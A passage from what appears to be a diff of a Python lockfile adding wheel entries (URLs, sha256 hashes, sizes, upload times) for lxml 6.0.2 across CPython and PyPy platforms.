"https://files.pythonhosted.org/packages/e2/7d/ca6fb13349b473d5732fb0ee3eec8f6c80fc0688e76b7d79c1008481bf1f/lxml-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e5867f2651016a3afd8dd2c8238baa66f1e2802f44bc17e236f547ace6647078", size = 4036583, upload-time = "2025-09-22T04:01:12.766Z" }, + { url = "https://files.pythonhosted.org/packages/ab/a2/51363b5ecd3eab46563645f3a2c3836a2fc67d01a1b87c5017040f39f567/lxml-6.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:4197fb2534ee05fd3e7afaab5d8bfd6c2e186f65ea7f9cd6a82809c887bd1285", size = 3680591, upload-time = "2025-09-22T04:01:14.874Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c8/8ff2bc6b920c84355146cd1ab7d181bc543b89241cfb1ebee824a7c81457/lxml-6.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a59f5448ba2ceccd06995c95ea59a7674a10de0810f2ce90c9006f3cbc044456", size = 8661887, upload-time = "2025-09-22T04:01:17.265Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/9aae1008083bb501ef63284220ce81638332f9ccbfa53765b2b7502203cf/lxml-6.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e8113639f3296706fbac34a30813929e29247718e88173ad849f57ca59754924", size = 4667818, upload-time = "2025-09-22T04:01:19.688Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ca/31fb37f99f37f1536c133476674c10b577e409c0a624384147653e38baf2/lxml-6.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8bef9b9825fa8bc816a6e641bb67219489229ebc648be422af695f6e7a4fa7f", size = 4950807, upload-time = "2025-09-22T04:01:21.487Z" }, + { url = "https://files.pythonhosted.org/packages/da/87/f6cb9442e4bada8aab5ae7e1046264f62fdbeaa6e3f6211b93f4c0dd97f1/lxml-6.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:65ea18d710fd14e0186c2f973dc60bb52039a275f82d3c44a0e42b43440ea534", size = 5109179, upload-time = "2025-09-22T04:01:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/c8/20/a7760713e65888db79bbae4f6146a6ae5c04e4a204a3c48896c408cd6ed2/lxml-6.0.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c371aa98126a0d4c739ca93ceffa0fd7a5d732e3ac66a46e74339acd4d334564", size = 5023044, upload-time = "2025-09-22T04:01:25.118Z" }, + { url = "https://files.pythonhosted.org/packages/a2/b0/7e64e0460fcb36471899f75831509098f3fd7cd02a3833ac517433cb4f8f/lxml-6.0.2-cp312-cp312-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:700efd30c0fa1a3581d80a748157397559396090a51d306ea59a70020223d16f", size = 5359685, upload-time = "2025-09-22T04:01:27.398Z" }, + { url = "https://files.pythonhosted.org/packages/b9/e1/e5df362e9ca4e2f48ed6411bd4b3a0ae737cc842e96877f5bf9428055ab4/lxml-6.0.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c33e66d44fe60e72397b487ee92e01da0d09ba2d66df8eae42d77b6d06e5eba0", size = 5654127, upload-time = "2025-09-22T04:01:29.629Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d1/232b3309a02d60f11e71857778bfcd4acbdb86c07db8260caf7d008b08f8/lxml-6.0.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90a345bbeaf9d0587a3aaffb7006aa39ccb6ff0e96a57286c0cb2fd1520ea192", size = 5253958, upload-time = "2025-09-22T04:01:31.535Z" }, + { url = "https://files.pythonhosted.org/packages/35/35/d955a070994725c4f7d80583a96cab9c107c57a125b20bb5f708fe941011/lxml-6.0.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:064fdadaf7a21af3ed1dcaa106b854077fbeada827c18f72aec9346847cd65d0", size = 4711541, upload-time = "2025-09-22T04:01:33.801Z" }, + { url = "https://files.pythonhosted.org/packages/1e/be/667d17363b38a78c4bd63cfd4b4632029fd68d2c2dc81f25ce9eb5224dd5/lxml-6.0.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbc74f42c3525ac4ffa4b89cbdd00057b6196bcefe8bce794abd42d33a018092", size = 5267426, upload-time = "2025-09-22T04:01:35.639Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/62c70aa4a1c26569bc958c9ca86af2bb4e1f614e8c04fb2989833874f7ae/lxml-6.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ddff43f702905a4e32bc24f3f2e2edfe0f8fde3277d481bffb709a4cced7a1f", size = 5064917, upload-time = "2025-09-22T04:01:37.448Z" }, + { url = "https://files.pythonhosted.org/packages/bd/55/6ceddaca353ebd0f1908ef712c597f8570cc9c58130dbb89903198e441fd/lxml-6.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6da5185951d72e6f5352166e3da7b0dc27aa70bd1090b0eb3f7f7212b53f1bb8", size = 4788795, upload-time = "2025-09-22T04:01:39.165Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e8/fd63e15da5e3fd4c2146f8bbb3c14e94ab850589beab88e547b2dbce22e1/lxml-6.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:57a86e1ebb4020a38d295c04fc79603c7899e0df71588043eb218722dabc087f", size = 5676759, upload-time = "2025-09-22T04:01:41.506Z" }, + { url = "https://files.pythonhosted.org/packages/76/47/b3ec58dc5c374697f5ba37412cd2728f427d056315d124dd4b61da381877/lxml-6.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2047d8234fe735ab77802ce5f2297e410ff40f5238aec569ad7c8e163d7b19a6", size = 5255666, upload-time = "2025-09-22T04:01:43.363Z" }, + { url = "https://files.pythonhosted.org/packages/19/93/03ba725df4c3d72afd9596eef4a37a837ce8e4806010569bedfcd2cb68fd/lxml-6.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f91fd2b2ea15a6800c8e24418c0775a1694eefc011392da73bc6cef2623b322", size = 5277989, upload-time = "2025-09-22T04:01:45.215Z" }, + { url = "https://files.pythonhosted.org/packages/c6/80/c06de80bfce881d0ad738576f243911fccf992687ae09fd80b734712b39c/lxml-6.0.2-cp312-cp312-win32.whl", hash = "sha256:3ae2ce7d6fedfb3414a2b6c5e20b249c4c607f72cb8d2bb7cc9c6ec7c6f4e849", size = 3611456, upload-time = "2025-09-22T04:01:48.243Z" }, + { url = "https://files.pythonhosted.org/packages/f7/d7/0cdfb6c3e30893463fb3d1e52bc5f5f99684a03c29a0b6b605cfae879cd5/lxml-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:72c87e5ee4e58a8354fb9c7c84cbf95a1c8236c127a5d1b7683f04bed8361e1f", size = 4011793, upload-time = "2025-09-22T04:01:50.042Z" }, + { url = "https://files.pythonhosted.org/packages/ea/7b/93c73c67db235931527301ed3785f849c78991e2e34f3fd9a6663ffda4c5/lxml-6.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:61cb10eeb95570153e0c0e554f58df92ecf5109f75eacad4a95baa709e26c3d6", size = 3672836, upload-time = "2025-09-22T04:01:52.145Z" }, + { url = "https://files.pythonhosted.org/packages/53/fd/4e8f0540608977aea078bf6d79f128e0e2c2bba8af1acf775c30baa70460/lxml-6.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9b33d21594afab46f37ae58dfadd06636f154923c4e8a4d754b0127554eb2e77", size = 8648494, upload-time = "2025-09-22T04:01:54.242Z" }, + { url = "https://files.pythonhosted.org/packages/5d/f4/2a94a3d3dfd6c6b433501b8d470a1960a20ecce93245cf2db1706adf6c19/lxml-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c8963287d7a4c5c9a432ff487c52e9c5618667179c18a204bdedb27310f022f", size = 4661146, upload-time = "2025-09-22T04:01:56.282Z" }, + { url = "https://files.pythonhosted.org/packages/25/2e/4efa677fa6b322013035d38016f6ae859d06cac67437ca7dc708a6af7028/lxml-6.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1941354d92699fb5ffe6ed7b32f9649e43c2feb4b97205f75866f7d21aa91452", size = 4946932, upload-time = "2025-09-22T04:01:58.989Z" }, + { url = "https://files.pythonhosted.org/packages/ce/0f/526e78a6d38d109fdbaa5049c62e1d32fdd70c75fb61c4eadf3045d3d124/lxml-6.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bb2f6ca0ae2d983ded09357b84af659c954722bbf04dea98030064996d156048", size = 5100060, upload-time = "2025-09-22T04:02:00.812Z" }, + { url = "https://files.pythonhosted.org/packages/81/76/99de58d81fa702cc0ea7edae4f4640416c2062813a00ff24bd70ac1d9c9b/lxml-6.0.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb2a12d704f180a902d7fa778c6d71f36ceb7b0d317f34cdc76a5d05aa1dd1df", size = 5019000, upload-time = "2025-09-22T04:02:02.671Z" }, + { url = "https://files.pythonhosted.org/packages/b5/35/9e57d25482bc9a9882cb0037fdb9cc18f4b79d85df94fa9d2a89562f1d25/lxml-6.0.2-cp313-cp313-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:6ec0e3f745021bfed19c456647f0298d60a24c9ff86d9d051f52b509663feeb1", size = 5348496, upload-time = "2025-09-22T04:02:04.904Z" }, + { url = "https://files.pythonhosted.org/packages/a6/8e/cb99bd0b83ccc3e8f0f528e9aa1f7a9965dfec08c617070c5db8d63a87ce/lxml-6.0.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:846ae9a12d54e368933b9759052d6206a9e8b250291109c48e350c1f1f49d916", size = 5643779, upload-time = "2025-09-22T04:02:06.689Z" }, + { url = "https://files.pythonhosted.org/packages/d0/34/9e591954939276bb679b73773836c6684c22e56d05980e31d52a9a8deb18/lxml-6.0.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef9266d2aa545d7374938fb5c484531ef5a2ec7f2d573e62f8ce722c735685fd", size = 5244072, upload-time = "2025-09-22T04:02:08.587Z" }, + { url = "https://files.pythonhosted.org/packages/8d/27/b29ff065f9aaca443ee377aff699714fcbffb371b4fce5ac4ca759e436d5/lxml-6.0.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:4077b7c79f31755df33b795dc12119cb557a0106bfdab0d2c2d97bd3cf3dffa6", size = 4718675, upload-time = "2025-09-22T04:02:10.783Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f756f9c2cd27caa1a6ef8c32ae47aadea697f5c2c6d07b0dae133c244fbe/lxml-6.0.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a7c5d5e5f1081955358533be077166ee97ed2571d6a66bdba6ec2f609a715d1a", size = 5255171, upload-time = "2025-09-22T04:02:12.631Z" }, + { url = "https://files.pythonhosted.org/packages/61/46/bb85ea42d2cb1bd8395484fd72f38e3389611aa496ac7772da9205bbda0e/lxml-6.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8f8d0cbd0674ee89863a523e6994ac25fd5be9c8486acfc3e5ccea679bad2679", size = 5057175, upload-time = "2025-09-22T04:02:14.718Z" }, + { url = "https://files.pythonhosted.org/packages/95/0c/443fc476dcc8e41577f0af70458c50fe299a97bb6b7505bb1ae09aa7f9ac/lxml-6.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:2cbcbf6d6e924c28f04a43f3b6f6e272312a090f269eff68a2982e13e5d57659", size = 4785688, upload-time = "2025-09-22T04:02:16.957Z" }, + { url = "https://files.pythonhosted.org/packages/48/78/6ef0b359d45bb9697bc5a626e1992fa5d27aa3f8004b137b2314793b50a0/lxml-6.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dfb874cfa53340009af6bdd7e54ebc0d21012a60a4e65d927c2e477112e63484", size = 5660655, upload-time = "2025-09-22T04:02:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/ff/ea/e1d33808f386bc1339d08c0dcada6e4712d4ed8e93fcad5f057070b7988a/lxml-6.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fb8dae0b6b8b7f9e96c26fdd8121522ce5de9bb5538010870bd538683d30e9a2", size = 5247695, upload-time = "2025-09-22T04:02:20.593Z" }, + { url = "https://files.pythonhosted.org/packages/4f/47/eba75dfd8183673725255247a603b4ad606f4ae657b60c6c145b381697da/lxml-6.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:358d9adae670b63e95bc59747c72f4dc97c9ec58881d4627fe0120da0f90d314", size = 5269841, upload-time = "2025-09-22T04:02:22.489Z" }, + { url = "https://files.pythonhosted.org/packages/76/04/5c5e2b8577bc936e219becb2e98cdb1aca14a4921a12995b9d0c523502ae/lxml-6.0.2-cp313-cp313-win32.whl", hash = "sha256:e8cd2415f372e7e5a789d743d133ae474290a90b9023197fd78f32e2dc6873e2", size = 3610700, upload-time = "2025-09-22T04:02:24.465Z" }, + { url = "https://files.pythonhosted.org/packages/fe/0a/4643ccc6bb8b143e9f9640aa54e38255f9d3b45feb2cbe7ae2ca47e8782e/lxml-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:b30d46379644fbfc3ab81f8f82ae4de55179414651f110a1514f0b1f8f6cb2d7", size = 4010347, upload-time = "2025-09-22T04:02:26.286Z" }, + { url = "https://files.pythonhosted.org/packages/31/ef/dcf1d29c3f530577f61e5fe2f1bd72929acf779953668a8a47a479ae6f26/lxml-6.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:13dcecc9946dca97b11b7c40d29fba63b55ab4170d3c0cf8c0c164343b9bfdcf", size = 3671248, upload-time = "2025-09-22T04:02:27.918Z" }, + { url = "https://files.pythonhosted.org/packages/03/15/d4a377b385ab693ce97b472fe0c77c2b16ec79590e688b3ccc71fba19884/lxml-6.0.2-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe", size = 8659801, upload-time = "2025-09-22T04:02:30.113Z" }, + { url = "https://files.pythonhosted.org/packages/c8/e8/c128e37589463668794d503afaeb003987373c5f94d667124ffd8078bbd9/lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d", size = 4659403, upload-time = "2025-09-22T04:02:32.119Z" }, + { url = "https://files.pythonhosted.org/packages/00/ce/74903904339decdf7da7847bb5741fc98a5451b42fc419a86c0c13d26fe2/lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d", size = 4966974, upload-time = "2025-09-22T04:02:34.155Z" }, + { url = "https://files.pythonhosted.org/packages/1f/d3/131dec79ce61c5567fecf82515bd9bc36395df42501b50f7f7f3bd065df0/lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5", size = 5102953, upload-time = "2025-09-22T04:02:36.054Z" }, + { url = "https://files.pythonhosted.org/packages/3a/ea/a43ba9bb750d4ffdd885f2cd333572f5bb900cd2408b67fdda07e85978a0/lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0", size = 5055054, upload-time = "2025-09-22T04:02:38.154Z" }, + { url = "https://files.pythonhosted.org/packages/60/23/6885b451636ae286c34628f70a7ed1fcc759f8d9ad382d132e1c8d3d9bfd/lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba", size = 5352421, upload-time = "2025-09-22T04:02:40.413Z" }, + { url = "https://files.pythonhosted.org/packages/48/5b/fc2ddfc94ddbe3eebb8e9af6e3fd65e2feba4967f6a4e9683875c394c2d8/lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0", size = 5673684, upload-time = "2025-09-22T04:02:42.288Z" }, + { url = "https://files.pythonhosted.org/packages/29/9c/47293c58cc91769130fbf85531280e8cc7868f7fbb6d92f4670071b9cb3e/lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d", size = 5252463, upload-time = "2025-09-22T04:02:44.165Z" }, + { url = "https://files.pythonhosted.org/packages/9b/da/ba6eceb830c762b48e711ded880d7e3e89fc6c7323e587c36540b6b23c6b/lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37", size = 4698437, upload-time = "2025-09-22T04:02:46.524Z" }, + { url = "https://files.pythonhosted.org/packages/a5/24/7be3f82cb7990b89118d944b619e53c656c97dc89c28cfb143fdb7cd6f4d/lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9", size = 5269890, upload-time = "2025-09-22T04:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/1b/bd/dcfb9ea1e16c665efd7538fc5d5c34071276ce9220e234217682e7d2c4a5/lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917", size = 5097185, upload-time = "2025-09-22T04:02:50.746Z" }, + { url = "https://files.pythonhosted.org/packages/21/04/a60b0ff9314736316f28316b694bccbbabe100f8483ad83852d77fc7468e/lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f", size = 4745895, upload-time = "2025-09-22T04:02:52.968Z" }, + { url = "https://files.pythonhosted.org/packages/d6/bd/7d54bd1846e5a310d9c715921c5faa71cf5c0853372adf78aee70c8d7aa2/lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8", size = 5695246, upload-time = "2025-09-22T04:02:54.798Z" }, + { url = "https://files.pythonhosted.org/packages/fd/32/5643d6ab947bc371da21323acb2a6e603cedbe71cb4c99c8254289ab6f4e/lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a", size = 5260797, upload-time = "2025-09-22T04:02:57.058Z" }, + { url = "https://files.pythonhosted.org/packages/33/da/34c1ec4cff1eea7d0b4cd44af8411806ed943141804ac9c5d565302afb78/lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c", size = 5277404, upload-time = "2025-09-22T04:02:58.966Z" }, + { url = "https://files.pythonhosted.org/packages/82/57/4eca3e31e54dc89e2c3507e1cd411074a17565fa5ffc437c4ae0a00d439e/lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b", size = 3670072, upload-time = "2025-09-22T04:03:38.05Z" }, + { url = "https://files.pythonhosted.org/packages/e3/e0/c96cf13eccd20c9421ba910304dae0f619724dcf1702864fd59dd386404d/lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed", size = 4080617, upload-time = "2025-09-22T04:03:39.835Z" }, + { url = "https://files.pythonhosted.org/packages/d5/5d/b3f03e22b3d38d6f188ef044900a9b29b2fe0aebb94625ce9fe244011d34/lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8", size = 3754930, upload-time = "2025-09-22T04:03:41.565Z" }, + { url = "https://files.pythonhosted.org/packages/5e/5c/42c2c4c03554580708fc738d13414801f340c04c3eff90d8d2d227145275/lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d", size = 8910380, upload-time = "2025-09-22T04:03:01.645Z" }, + { url = "https://files.pythonhosted.org/packages/bf/4f/12df843e3e10d18d468a7557058f8d3733e8b6e12401f30b1ef29360740f/lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba", size = 4775632, upload-time = "2025-09-22T04:03:03.814Z" }, + { url = "https://files.pythonhosted.org/packages/e4/0c/9dc31e6c2d0d418483cbcb469d1f5a582a1cd00a1f4081953d44051f3c50/lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601", size = 4975171, upload-time = "2025-09-22T04:03:05.651Z" }, + { url = "https://files.pythonhosted.org/packages/e7/2b/9b870c6ca24c841bdd887504808f0417aa9d8d564114689266f19ddf29c8/lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed", size = 5110109, upload-time = "2025-09-22T04:03:07.452Z" }, + { url = "https://files.pythonhosted.org/packages/bf/0c/4f5f2a4dd319a178912751564471355d9019e220c20d7db3fb8307ed8582/lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37", size = 5041061, upload-time = "2025-09-22T04:03:09.297Z" }, + { url = "https://files.pythonhosted.org/packages/12/64/554eed290365267671fe001a20d72d14f468ae4e6acef1e179b039436967/lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338", size = 5306233, upload-time = "2025-09-22T04:03:11.651Z" }, + { url = "https://files.pythonhosted.org/packages/7a/31/1d748aa275e71802ad9722df32a7a35034246b42c0ecdd8235412c3396ef/lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9", size = 5604739, upload-time = "2025-09-22T04:03:13.592Z" }, + { url = "https://files.pythonhosted.org/packages/8f/41/2c11916bcac09ed561adccacceaedd2bf0e0b25b297ea92aab99fd03d0fa/lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd", size = 5225119, upload-time = "2025-09-22T04:03:15.408Z" }, + { url = "https://files.pythonhosted.org/packages/99/05/4e5c2873d8f17aa018e6afde417c80cc5d0c33be4854cce3ef5670c49367/lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d", size = 4633665, upload-time = "2025-09-22T04:03:17.262Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/dcc2da1bebd6275cdc723b515f93edf548b82f36a5458cca3578bc899332/lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9", size = 5234997, upload-time = "2025-09-22T04:03:19.14Z" }, + { url = "https://files.pythonhosted.org/packages/9c/e2/5172e4e7468afca64a37b81dba152fc5d90e30f9c83c7c3213d6a02a5ce4/lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e", size = 5090957, upload-time = "2025-09-22T04:03:21.436Z" }, + { url = "https://files.pythonhosted.org/packages/a5/b3/15461fd3e5cd4ddcb7938b87fc20b14ab113b92312fc97afe65cd7c85de1/lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d", size = 4764372, upload-time = "2025-09-22T04:03:23.27Z" }, + { url = "https://files.pythonhosted.org/packages/05/33/f310b987c8bf9e61c4dd8e8035c416bd3230098f5e3cfa69fc4232de7059/lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec", size = 5634653, upload-time = "2025-09-22T04:03:25.767Z" }, + { url = "https://files.pythonhosted.org/packages/70/ff/51c80e75e0bc9382158133bdcf4e339b5886c6ee2418b5199b3f1a61ed6d/lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272", size = 5233795, upload-time = "2025-09-22T04:03:27.62Z" }, + { url = "https://files.pythonhosted.org/packages/56/4d/4856e897df0d588789dd844dbed9d91782c4ef0b327f96ce53c807e13128/lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f", size = 5257023, upload-time = "2025-09-22T04:03:30.056Z" }, + { url = "https://files.pythonhosted.org/packages/0f/85/86766dfebfa87bea0ab78e9ff7a4b4b45225df4b4d3b8cc3c03c5cd68464/lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312", size = 3911420, upload-time = "2025-09-22T04:03:32.198Z" }, + { url = "https://files.pythonhosted.org/packages/fe/1a/b248b355834c8e32614650b8008c69ffeb0ceb149c793961dd8c0b991bb3/lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca", size = 4406837, upload-time = "2025-09-22T04:03:34.027Z" }, + { url = "https://files.pythonhosted.org/packages/92/aa/df863bcc39c5e0946263454aba394de8a9084dbaff8ad143846b0d844739/lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c", size = 3822205, upload-time = "2025-09-22T04:03:36.249Z" }, + { url = "https://files.pythonhosted.org/packages/e7/9c/780c9a8fce3f04690b374f72f41306866b0400b9d0fdf3e17aaa37887eed/lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6", size = 3939264, upload-time = "2025-09-22T04:04:32.892Z" }, + { url = "https://files.pythonhosted.org/packages/f5/5a/1ab260c00adf645d8bf7dec7f920f744b032f69130c681302821d5debea6/lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba", size = 4216435, upload-time = "2025-09-22T04:04:34.907Z" }, + { url = "https://files.pythonhosted.org/packages/f2/37/565f3b3d7ffede22874b6d86be1a1763d00f4ea9fc5b9b6ccb11e4ec8612/lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5", size = 4325913, upload-time = "2025-09-22T04:04:37.205Z" }, + { url = "https://files.pythonhosted.org/packages/22/ec/f3a1b169b2fb9d03467e2e3c0c752ea30e993be440a068b125fc7dd248b0/lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4", size = 4269357, upload-time = "2025-09-22T04:04:39.322Z" }, + { url = "https://files.pythonhosted.org/packages/77/a2/585a28fe3e67daa1cf2f06f34490d556d121c25d500b10082a7db96e3bcd/lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d", size = 4412295, upload-time = "2025-09-22T04:04:41.647Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/a57dd8bcebd7c69386c20263830d4fa72d27e6b72a229ef7a48e88952d9a/lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", 